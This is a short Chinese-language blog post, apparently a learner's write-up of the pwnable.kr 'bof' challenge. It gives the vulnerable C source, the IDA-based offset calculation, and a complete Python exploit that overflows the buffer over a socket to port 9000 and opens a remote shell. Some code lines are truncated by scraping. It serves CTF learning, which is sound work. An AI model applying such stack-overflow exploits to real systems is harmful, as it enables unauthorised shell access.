pwn学习之路

最近也开始学习pwn了。。。网站平台是http://pwnable.kr/play.php

网址是http://pwnable.kr/play.php

第三题,代码如下

#include 
#include 
#include 
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

显然是要覆盖。。。

下载了他的文件,然后IDA打开,

pwn学习之路_第1张图片pwn学习之路_第2张图片

arg_0的参数是8字节,按照图一里,就是0x2C+8=44+8=52

所以需要覆盖52位

然后写python代码,这里要感谢giantbranch大大,我是按照他的博客,一步步开始学习,他的博客是https://blog.csdn.net/u012763794/article/details/51992512


我也自己做了点测试。

代码如下

# -*-coding:utf8 -*-
import socket
import telnetlib
import struct
# 将32位的整数转化为字符串(小端模式)
def p32(val):
    # <:小端模式  L:unsigned long
    return struct.pack(", val)
def pwn():
    '''
     ####cmp     [ebp+arg_0], 0CAFEBABEh
     ####这里 ebp是44,args_0是8,所以地址是52

    char s; // [sp+1Ch] [bp-2Ch]@1
    overflowme的基址为ebp-0x2c,即44个字节,再加上  ebp  和   返回地址  的8个字节就是52个字节,最后的4个字节覆盖就可以了
    '''
    # 创建一个TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器的9000端口(接收的参数是一个元组)
    s.connect(("pwnable.kr", 9000))
    # 目标被填充的地址
    target_addr = p32(0xcafebabe)
    #本来的bp地址是 44+4(bp)+4(返回地址)==52
    ### 所以需要先覆盖52位,没有了返回

    ###我试着改为56,然后溢出了,溢出保护,导致终止了
    ###小于52,则没有覆盖
    # 构造payload,52长度
    payload = '1' * 52 + target_addr
    print payload
    # 向服务器发送数据
    s.sendall(payload + '\n')
    # 创建一个telnet来产生一个控制服务器的shell
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
pwn()

pycharm里开始运行,然后就可以发现建立了shell

输入ls

pwn学习之路_第3张图片

你可能感兴趣的:(逆向,pwn)